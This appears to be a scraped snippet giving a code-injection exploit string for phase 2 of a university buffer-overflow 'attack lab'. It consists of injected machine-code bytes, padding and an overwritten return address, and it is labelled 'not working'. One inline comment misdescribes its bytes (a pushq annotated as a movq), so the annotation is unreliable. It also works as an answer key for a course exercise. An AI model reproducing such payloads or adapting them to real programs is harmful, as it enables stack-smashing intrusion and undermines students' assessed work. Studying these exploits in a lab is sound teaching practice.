attack lab phase 2 not working code example

Example: attack lab phase 2 pushq

bf fa 97 b9 59       	/* movl   $0x59b997fa,%edi */
68 ec 17 40 00 /* movq   $0x4017ec,(%rsp) */
c3                   	/* retq */
ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef ef
78 dc 61 55 00 00 00 00